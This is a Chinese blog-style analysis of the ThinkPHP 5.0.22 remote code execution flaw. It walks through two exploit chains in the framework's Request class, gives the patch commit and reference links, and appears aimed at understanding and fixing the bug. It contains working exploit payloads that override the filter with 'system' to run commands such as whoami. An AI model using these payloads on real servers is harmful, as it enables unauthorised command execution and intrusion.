漏洞分析-利用链1
漏洞复现
```
http://127.0.0.1/think5.0.22/public/index.php?s=captcha
POST:
_method=__construct&filter[]=system&method=get&get[]=whoami
```
漏洞分析
漏洞起始点位于thinkphp/library/think/Request.php
的method
方法
php
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;
}
在thinkphp
的默认中配置中设置了表单请求类型伪装变量如下
可以通过POST
数组传入__method
改变$this->{$this->method}($_POST);
达到任意调用此类中的方法。
Request
类的构造函数__construct
代码如下
``` php
<?php
protected function __construct($options = [])
{
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}
if (is_null($this->filter)) {
$this->filter = Config::get('default_filter');
}
// 保存 php://input
$this->input = file_get_contents('php://input');
}
``
foreach
利用循环,和
POST传入数组即可对
Request对象的成员属性进行覆盖。其中
$this->filter保存着全局过滤规则,通过覆盖得到了
$this->filter=system,后面的
php://input中也传入了
method=get`,所以最后
那么程序的入口在哪里呢,thinkphp
是单入口,所以在public/index.php里
面
php
require __DIR__ . '/../thinkphp/start.php';
下一个断点,跟踪调试
进入App.php
的run
方法,截取部分
``` php
public static function run(Request $request = null)
{
$request = is_null($request) ? Request::instance() : $request;
try {
...
// 获取应用调度信息
$dispatch = self::$dispatch;
// 未设置调度信息则进行 URL 路由检测
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}
...
$data = self::exec($dispatch, $config);
} catch (HttpResponseException $exception) {
...
}
...
}
``
$dispatch = self::routeCheck($request, $config)
首先是经过检查调用的路由
payload
在中,访问的
url为
index.php?s=captcha。在
vendor/topthink/think-captcha/src/helper.php中
captcha注册了路由
$dispatch=method`

返回为
进入Route::check
方法通过$method = strtolower($request->method());
进入我们最开始分析的漏洞产生点,从routeCheck
方法出来后根据$dispatch
的不同进入下面的self::exec($dispatch, $config)
当$dispatch=method
时
php
case 'method': // 回调方法
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = self::invokeMethod($dispatch['method'], $vars);
break;
会调用Request::instance()->param()
跟进param
方法
php
<?php
public function param($name = '', $default = null, $filter = '')
{
if (empty($this->mergeParam)) {
$method = $this->method(true);
...
}
...
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
...
return $this->input($this->param, $name, $default, $filter);
}
这里使用array_merge
函数合并了$this->get
,因为我们传入了get[]=whoami
,所以$this->param
值如下
最后return
时使用了input
方法,跟进一下
php
<?php
public function input($data = [], $name = '', $default = null, $filter = '')
{
...
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
}
...
}
继续跟进getFilter
方法
``` php
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}
$filter[] = $default;
return $filter;
}
``
$filter的值为
$this->filter,在最开始的分析中在
foreach里面将
$this->filter赋值为了
system
input
回到方法,先整理一下现在有的,通过
getFilter方法得到
$filter数组里面有
system,
public function input($data = [], $name = '', $default = null, $filter = '')里面的
$data是通过
$this->param传进来的,也就是
$data是数组里面有
whoami进入
array_walk_recursive`方法,对于每一个值调用filterValue函数,跟进一下
php
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
......
成功执行命令
漏洞分析-利用链2
漏洞复现
```
http://127.0.0.1/think5.0.22/public/index.php?s=captcha
POST:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
```
漏洞分析
上一个调用链是param->method->input->getFilter->rce
回到param
方法
php
public function param($name = '', $default = null, $filter = '')
{
if (empty($this->mergeParam)) {
$method = $this->method(true);
...
}
...
}
跟进$this->method(true)
php
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
}
...
}
上一条链是在这儿return
了GET
,但是这儿可以让它返回$this->server('REQUEST_METHOD')
,跟进
php
public function server($name = '', $default = null, $filter = '')
{
if (empty($this->server)) {
$this->server = $_SERVER;
}
if (is_array($name)) {
return $this->server = array_merge($this->server, $name);
}
return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
}
这儿同样有一个input
,通过payload
知道,我们已经传入了server[REQUEST_METHOD]=whoami
,$this->server
是一个数组
跟进input
方法
``` php
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
$this->filterValue($data, $name, $filter);
}
``
getFilter
通过得到
$filter是包含
system的数组,这里的
$data是
$this->server传过来的,也就是最开始是一个数组,通过如下代码
whoami

值变为了,所以会进入
$this->filterValue`方法,跟进一下
成功执行命令
补丁分析
补丁地址:https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003
问题的根源在于请求方法的获取接收了不可信数据,因此补丁中设置了白名单,如下
参考链接
https://xz.aliyun.com/t/7792
https://xz.aliyun.com/t/3845
https://y4er.com/post/thinkphp5-rce/
概述 原文: https://pentestlab.blog/2020/03/04/persistence-dll-hijacking/ by Administrator.In Persistence.Leave a Comment 当一个程序启动时,许多DL…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论